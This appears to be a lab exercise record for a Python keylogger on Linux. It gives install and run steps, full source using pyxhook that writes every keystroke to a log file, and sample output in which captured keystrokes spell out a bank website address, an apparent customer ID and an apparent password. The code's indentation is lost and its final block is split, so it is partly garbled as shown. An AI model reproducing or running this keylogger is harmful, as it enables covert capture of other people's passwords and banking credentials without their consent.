DATE:

KEYLOGGER

AIM:

To write a python program to implement key logger to record key strokes in Linux.

ALGORITHM:

- Check if python-xlib is installed. If not type the command- dnf install python-xlib -y
- Run pyxhook file using the command- python pyxhook.py
- Create a file key.py
- Run key.py to record all key strokes.
- Open file.log file to view all the recorded key strokes.

PROGRAM CODE:

```
import os
import pyxhook
# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get( 'pylogger_file', os.path.expanduser('~/Desktop/file.log'))
# Allow setting the cancel key from environment args, Default: `
cancel_key = ord( os.environ.get( 'pylogger_cancel', '`')[0])
# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:
try:
os.remove(log_file)
except EnvironmentError:
# File does not exist, or no permissions.
pass

#creating key pressing event and saving it into log file
def OnKeyPress(event):
with open(log_file, 'a') as f:
f.write('{}\n'.format(event.Key))

# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
new_hook.start() # start the hook
except KeyboardInterrupt:
# User cancelled from command line.
pass
except Exception as ex:
# Write exceptions to the log file, for analysis later.
```

```
msg = 'Error while catching events:\n {}'.format(ex)
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
f.write('\n{}'.format(msg))
```

OUTPUT:

w
w
w
period
h
d
f
c
b
a
n
k
period
c
o
m
Return
3
0
0
9
1
2
3
Shift_L
I
n
d
i
a
9
0
Shift_L
dollar
percent

RESULT: